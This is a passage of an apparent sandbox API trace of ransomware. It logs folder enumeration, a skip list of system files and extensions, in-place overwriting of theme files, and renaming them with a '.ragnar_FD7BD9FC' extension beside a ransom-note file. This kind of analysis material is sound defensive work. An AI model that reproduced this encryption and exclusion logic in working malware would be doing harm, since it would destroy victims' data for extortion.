lpString2="..") returned 0 [0075.435] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.435] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0075.435] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0075.435] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f333660, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f333660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.435] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0075.435] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0075.436] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0075.436] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2=".") returned 1 [0075.436] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="..") returned 1 [0075.436] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0075.436] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2=".") returned 1 [0075.436] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="..") returned 1 [0075.436] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.436] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0075.436] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0075.436] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0075.436] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0075.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f333660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f333660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0075.436] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f333660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f333660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.436] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.436] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0075.436] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0075.436] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned=".GIF" [0075.436] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.436] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0075.436] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0075.436] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0075.436] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0075.436] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0075.436] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0075.436] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0075.436] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0075.436] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0075.437] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0075.437] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0075.437] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0075.437] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0075.437] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0075.437] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0075.437] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0075.437] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0075.437] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0075.437] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0075.437] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0075.437] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0075.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0075.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0075.437] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3970) returned 1 [0075.437] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xf79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.437] GetProcessHeap () returned 0x580000 [0075.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.437] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.445] VirtualAlloc (lpAddress=0x0, dwSize=0xf82, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.448] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.448] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.448] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf82, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xf82, lpOverlapped=0x0) returned 1 [0075.450] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.451] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf82, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.452] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf82, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xf82, lpOverlapped=0x0) returned 1 [0075.453] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf82, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.453] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.455] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xf82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.456] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.463] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.501] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.635] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.636] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.636] GetProcessHeap () returned 0x580000 [0075.636] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.756] CloseHandle (hObject=0x100) returned 1 [0075.773] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" [0075.773] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.ragnar_FD7BD9FC" [0075.773] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.788] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f333660, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f333660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.788] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0075.788] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0075.788] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RGNR_FD7BD9FC.txt") returned=".txt" [0075.788] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0075.788] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0075.788] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0075.788] lstrcpyW (in: lpString1=0x1eab72, lpString2="RICEPAPR.ELM" | out: lpString1="RICEPAPR.ELM") returned="RICEPAPR.ELM" [0075.788] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM") returned=".ELM" [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="autorun.inf") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="boot.ini") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="bootfont.bin") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="bootsect.bak") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="bootmgr") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="bootmgr.efi") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="bootmgfw.efi") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="desktop.ini") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="iconcache.db") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="ntldr") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="ntuser.dat") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="ntuser.dat.log") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="ntuser.ini") returned 1 [0075.788] lstrcmpiW (lpString1="RICEPAPR.ELM", lpString2="thumbs.db") returned -1 [0075.788] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0075.788] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0075.788] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0075.788] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0075.788] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0075.788] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0075.788] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0075.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm")) returned 0x20 [0075.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0075.792] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=73822) returned 1 [0075.792] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x12055, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.792] GetProcessHeap () returned 0x580000 [0075.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.792] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.793] VirtualAlloc (lpAddress=0x0, dwSize=0x1205e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.793] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.794] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.794] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1205e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1205e, lpOverlapped=0x0) returned 1 [0075.796] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.796] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1205e, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.796] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1205e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1205e, lpOverlapped=0x0) returned 1 [0075.797] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1205e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.797] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.797] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1205e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.797] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.797] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.797] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.797] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.797] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.797] GetProcessHeap () returned 0x580000 [0075.798] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.798] CloseHandle (hObject=0x100) returned 1 [0075.798] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" [0075.798] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.ragnar_FD7BD9FC" [0075.798] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.798] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0075.798] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0075.798] lstrcpyW (in: lpString1=0x1eab72, lpString2="RICEPAPR.INF" | out: lpString1="RICEPAPR.INF") returned="RICEPAPR.INF" [0075.798] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF") returned=".INF" [0075.798] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0075.798] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="autorun.inf") returned 1 [0075.798] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="boot.ini") returned 1 [0075.798] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="bootfont.bin") returned 1 [0075.798] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="bootsect.bak") returned 1 [0075.798] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="bootmgr") returned 1 [0075.798] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="bootmgr.efi") returned 1 [0075.798] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="bootmgfw.efi") returned 1 [0075.798] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="desktop.ini") 